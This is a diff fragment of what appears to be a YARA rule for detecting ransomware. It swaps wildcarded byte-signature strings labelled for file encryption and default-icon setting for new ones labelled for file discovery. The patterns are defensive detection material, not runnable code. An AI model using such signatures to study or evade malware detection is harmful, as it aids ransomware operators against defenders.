-            C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ??
-            8B 8D ?? ?? ?? ?? 85 C9 74 ?? 8B 01 6A ?? FF 10 C7 45 ?? ?? ?? ?? ?? 8D 4B ?? E8 ??
-            ?? ?? ?? 8B 4D ?? 5F 64 89 0D ?? ?? ?? ?? 5E 8B E5 5D 8B E3 5B C2 ?? ?? 8B 7D ?? 83
-            C1 ?? 8B 35 ?? ?? ?? ?? 8B 45 ?? E9 ?? ?? ?? ?? 8B 45 ?? 8D 8D ?? ?? ?? ?? 8B 7D ??
-            6A ?? 89 45 ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ??
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 45 ?? 83 E0 ?? 03 C1 C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ??
-            C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ??
-            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 6A ??
-            E8 ?? ?? ?? ?? 6A ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 89 45 ?? C6 45 ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 C4 ?? 89 45 ?? C6 45 ?? ?? B9 ?? ?? ?? ?? 6A ?? FF 75 ?? E8 ?? ?? ?? ?? 6A ??
-            FF 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 75 ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 6A ?? FF 75 ?? 83
-        }
-		$encrypt_files_v5_p2 = {
-            C0 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 85 C0 0F 8F ?? ?? ?? ?? 7C ?? 81 FF ?? ??
-            ?? ?? 0F 83 ?? ?? ?? ?? F2 0F 10 05 ?? ?? ?? ?? F2 0F 11 45 ?? 0F 57 C0 66 0F 13 45
-            ?? 8B 4D ?? 8B 55 ?? 89 4D ?? 8B CF 89 55 ?? 2B 4D ?? 6A ?? 6A ?? 1B C2 50 51 E8 ??
-            ?? ?? ?? F2 0F 10 45 ?? 8B CA F2 0F 59 05 ?? ?? ?? ?? 89 4D ?? 8B C8 89 45 ?? F2 0F
-            11 45 ?? E8 ?? ?? ?? ?? F2 0F 59 45 ?? E8 ?? ?? ?? ?? 8B C8 0B CA 0F 85 ?? ?? ?? ??
-            39 4D ?? 0F 8C ?? ?? ?? ?? 7F ?? 85 FF 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ??
-            8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? E9 ?? ?? ?? ?? 85
-            C0 0F 8C ?? ?? ?? ?? 7F ?? 81 FF ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? F2 0F 10 05 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? F2 0F 11 45 ?? 50
-            E8 ?? ?? ?? ?? C6 45 ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 56 C6 45 ?? ?? 8B 4D
-            ?? E8 ?? ?? ?? ?? 8B 45 ?? 33 D2 C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 52 50 FF 75 ??
-            FF 75 ?? E8 ?? ?? ?? ?? 8B C8 89 45 ?? 0B CA 89 55 ?? 75 ?? 8D 85 ?? ?? ?? ?? 89 45
-            ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 FF 75 ?? 57
-            6A ?? 6A ?? 56 C6 45 ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 0F 57
-            C0 66 0F 13 45 ?? 0F 8C ?? ?? ?? ?? 7F ?? 83 7D ?? ?? 0F 86 ?? ?? ?? ?? 8B 45 ?? 8B
-            7D ?? 89 45 ?? 66 66 0F 1F 84 00 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 50 8B 45 ?? 8B CF 0F A4 C8 ?? 6A ?? C1 E1 ?? 03
-            4D ?? 6A ?? 13 45 ?? 50 51 56 C6 45 ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 03 7D ?? 8B 45 ??
-            13 45 ?? 89 45 ?? 3B 45 ?? 0F 8C ?? ?? ?? ?? 7F ?? 3B 7D ?? 0F 82
+		$find_files_p1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 33 C0 89 4D ?? 57 50 66 89 45 ?? 8D 8D ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 0F 57 C0 C7 45 ?? ?? ?? ?? ?? 50 C7 45 ?? ??
+            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 0F 13 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48
+            ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84
+            0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 8D 4D ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 33 C9 8B F8 51 89 4D ?? 51 8D 4D ?? 89 7D ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 4D ??
+            8D 45 ?? 50 FF 77 ?? 57 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 47 ?? 89 4D ?? BB ?? ?? ??
+            ?? 8B 48 ?? 89 01 8B 07 8D 4D ?? 83 C0 ?? 3B C8 74 ?? 6A ?? 6A ?? 50 E8 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 8D 45 ?? 3B C6
         }
-		$encrypt_files_v6_p1 = {
-            E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 6A ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 85 F6 0F 8F ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 6A
-            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ??
-            8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 03 48 ?? 8B 01 FF 50 ?? 83 7B ?? ?? 8D 43 ??
-            F2 0F 10 05 ?? ?? ?? ?? 0F 43 43 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ??
-            ?? ?? 50 F2 0F 11 45 ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 74 ?? 8D 45 ?? 50 57 FF 15
-            ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? C6 45 ?? ?? 8B 8D ?? ?? ?? ?? 85 C9 74 ?? 8B 01 6A ?? FF 10 C6 45 ?? ?? C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? 8D 4B ?? E8 ?? ?? ?? ?? 8B 4D ?? 5F 64 89 0D ?? ?? ?? ?? 5E 8B E5 5D 8B E3 5B
-            C2 ?? ?? 85 F6 0F 84 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 8B CF 76 ?? 8B FE 2B 7D ?? 66
-            8B 04 0F 66 3B 01 75 ?? 83 C1 ?? 83 EA ?? 75 ?? 2B 75 ?? D1 FE E9 ?? ?? ?? ?? 8B 7D
-            ?? 83 C6 ?? 8B 15 ?? ?? ?? ?? 8B 45 ?? E9 ?? ?? ?? ?? 8B 45 ?? 8D 8D ?? ?? ?? ?? 8B
-            75 ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6
+		$find_files_p2 = {
+            0F 84 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 0F 87 ?? ?? ??
+            ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ??
+            ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ??
+            ?? ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 83 7E ??
+            ?? 73 ?? 8B 46 ?? 83 C0 ?? 74 ?? 03 C0 50 8D 45 ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? EB
+            ?? 8B 06 89 45 ?? C7 06 ?? ?? ?? ?? 8B 46 ?? 89 45 ?? 8B 46 ?? 89 45 ?? C7 46 ?? ??
+            ?? ?? ?? 83 7E ?? ?? C7 46 ?? ?? ?? ?? ?? 72 ?? 8B 36 33 C0 66 89 06 8B 45 ?? 83 F8
+            ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6
+            C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ??
+            ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 3F 8D 77 ?? 8B
+            4F ?? 8B 07 89 01 8B 0F 8B 47 ?? 89 41 ?? 8B 45 ?? 48 89 45 ?? 89 45 ?? 8B 46 ?? 83
+            F8 ?? 72 ?? 8B 0E 40 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6
         }
-		$encrypt_files_v6_p2 = {
-            45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D
-            ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 45 ?? 83 E0 ?? 03 C1 C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 89 85 ?? ??
-            ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ??
-            ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 45 ?? ??
-            6A ?? E8 ?? ?? ?? ?? 6A ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 89 45 ?? C6 45 ?? ?? 6A ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 83 C4 ?? 89 45 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? FF 75 ?? E8 ?? ?? ??
-            ?? 6A ?? FF 75 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 75 ?? 6A ?? FF 75 ?? 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? 6A ??
-            FF 75 ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 85 C0 0F 8F ?? ?? ?? ?? 7C
+		$find_files_p3 = {
+            C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ??
+            ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ?? ??
+            ?? 83 7E ?? ?? C7 46 ?? ?? ?? ?? ?? 72 ?? 8B 36 33 C0 57 66 89 06 E8 ?? ?? ?? ?? 83
+            C4 ?? 8D 8D ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF 15 ?? ?? ?? ?? 8B
+            F8 89 7D ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 66 66 66 0F 1F 84 00 ?? ?? ?? ?? 33 C0 C7 45
+            ?? ?? ?? ?? ?? F6 85 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 0F 84 ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? 8B 08 85 C9 74 ?? 8B 85 ?? ?? ?? ?? 8B 00 8D 14 41 EB ?? 8B 85
+            ?? ?? ?? ?? 8B 08 8B 85 ?? ?? ?? ?? 8B 00 8D 14 48 8B 85 ?? ?? ?? ?? 8B 08 2B D1 D1
+            FA 81 FA ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 8D 04 12 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85
+            ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9
+            ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ??
+            ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00
+            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ??
+            8B 85 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? 50 89 85 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72
+            ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 03 C0 3D ?? ?? ?? ?? 72 ?? F6 C1
         }
-		$encrypt_files_v6_p3 = {
-            81 FE ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? F2 0F 10 05 ?? ?? ?? ?? F2 0F 11 45 ?? 0F 57 C0
-            66 0F 13 45 ?? 8B 4D ?? 8B 55 ?? 89 4D ?? 8B CE 89 55 ?? 2B 4D ?? 6A ?? 6A ?? 1B C2
-            50 51 E8 ?? ?? ?? ?? F2 0F 10 45 ?? 8B CA F2 0F 59 05 ?? ?? ?? ?? 89 4D ?? 8B C8 89
-            45 ?? F2 0F 11 45 ?? E8 ?? ?? ?? ?? F2 0F 59 45 ?? E8 ?? ?? ?? ?? 8B C8 0B CA 0F 85
-            ?? ?? ?? ?? 39 4D ?? 0F 8C ?? ?? ?? ?? 7F ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ??
-            ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? E9 ??
-            ?? ?? ?? 85 C0 0F 8C ?? ?? ?? ?? 7F ?? 81 FE ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? F2 0F 10
-            05 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? F2 0F
-            11 45 ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 57 C6 45
-            ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B 45 ?? 33 D2 C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 52
-            50 FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? 8B C8 89 45 ?? 0B CA 89 55 ?? 75 ?? 8D 85 ?? ??
-            ?? ?? 89 45 ?? 8D 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 50
-            FF 75 ?? 56 6A ?? 6A ?? 57 C6 45 ?? ?? 8B 4D
+		$find_files_p4 = {
+            0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ??
+            83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 68
+            ?? ?? ?? ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ??
+            ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 EC ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ??
+            ?? 8B D4 33 C0 C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? 66 89 02 66 39 85 ?? ?? ??
+            ?? 75 ?? 33 C9 EB ?? 8D 8D ?? ?? ?? ?? 8D 71 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B
+            CE D1 F9 51 8D 85 ?? ?? ?? ?? 8B CA 50 E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 85 C0
+            0F 84 ?? ?? ?? ?? 6A ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ??
+            ?? ?? ?? ?? 66 89 45 ?? E8 ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 83 CB ?? C7 45 ??
+            ?? ?? ?? ?? 66 89 45 ?? 66 39 85 ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D ?? ?? ?? ?? 8D
+            51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 8D 85 ?? ?? ?? ?? 50 8D 4D ??
+            E8 ?? ?? ?? ?? 8D 45 ?? 83 CB ?? 50 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0
+            0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85
         }
-		$set_default_icon_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC ?? C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66
-            89 45 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ??
-            ?? B0 ?? C7 45 ?? ?? ?? ?? ?? 33 C9 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 98
-            66 31 44 4D ?? 41 83 F9 ?? 73 ?? 8A 45 ?? EB ?? 33 C0 56 66 89 45 ?? C6 45 ?? ?? 8D
-            45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B F0 C7 45
-            ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 56 50 C7 45 ?? ?? ?? ?? ?? E8 ??
-            ?? ?? ?? 33 C0 C7 46 ?? ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ?? ?? ?? ?? 66 89 06 C7 45 ??
-            ?? ?? ?? ?? C6 45 ?? ?? 8B 4D ?? 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? 8B C2
+		$find_files_p5 = {
+            83 CB ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 CB ?? 50 8D 85 ??
+            ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 CB ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 83 CB ?? 50 8D 45 ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 85 C0 74 ??
+            C6 45 ?? ?? F6 C3 ?? 74 ?? 8B 45 ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ??
+            E8 ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? F6 C3 ??
+            74 ?? 8B 85 ?? ?? ?? ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
+            ?? 66 89 85 ?? ?? ?? ?? F6 C3 ?? 74 ?? 8B 85 ?? ?? ?? ?? 83 E3 ?? 83 F8 ?? 72 ?? 40
+            8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ??
+            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? F6 C3 ?? 74 ?? 8B 85 ?? ??
+            ?? ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ??
+            ?? ?? 8B 45 ?? 83 E3 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 33 C0
         }
-		$set_default_icon_p2 = {
-            81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ??
-            51 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 51 8D 4D ?? C7 45 ?? ??
-            ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? 33 C0 83 7D ?? ?? 6A ?? 66 89 45 ?? 8D 45 ?? 0F 43
-            45 ?? 6A ?? 6A ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 83 7D ?? ?? 8D 4D
-            ?? 8B 45 ?? 0F 43 4D ?? 03 C0 50 51 6A ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF
-            75 ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF D6 6A
-            ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 B8 ?? ?? ?? ?? 89 45 ?? 83 E0 ?? 89 45
-            ?? C6 45 ?? ?? 8B 4D ?? 5E 83 F9 ?? 72 ?? 8B 55 ?? 8D 0C 4D ?? ?? ?? ?? 8B C2 81 F9
-            ?? ?? ?? ?? 72 ?? 8B 50 ?? 83 C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 77 ?? 51 52 E8 ?? ?? ??
-            ?? 83 C4 ?? 33 C0 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? C7 45 ?? ??
-            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 8B E5 5D C3
+		$find_files_p6 = {
+            C7 45 ?? ?? ?? ?? ?? 66 89 45 ?? 83 E3 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? 83 F8 ?? 72
+            ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 45 ?? 50
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 ?? 8D 45 ?? 50 8D 4D ?? FF 76 ?? 56 E8 ?? ??
+            ?? ?? 8B 55 ?? B9 ?? ?? ?? ?? 2B CA 83 F9 ?? 0F 82 ?? ?? ?? ?? 89 46 ?? 42 8B 48 ??
+            89 55 ?? 89 01 E9 ?? ?? ?? ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 ??
+            8D 45 ?? 50 8D 4D ?? FF 76 ?? 56 E8 ?? ?? ?? ?? 8B 55 ?? B9 ?? ?? ?? ?? 2B CA 83 F9
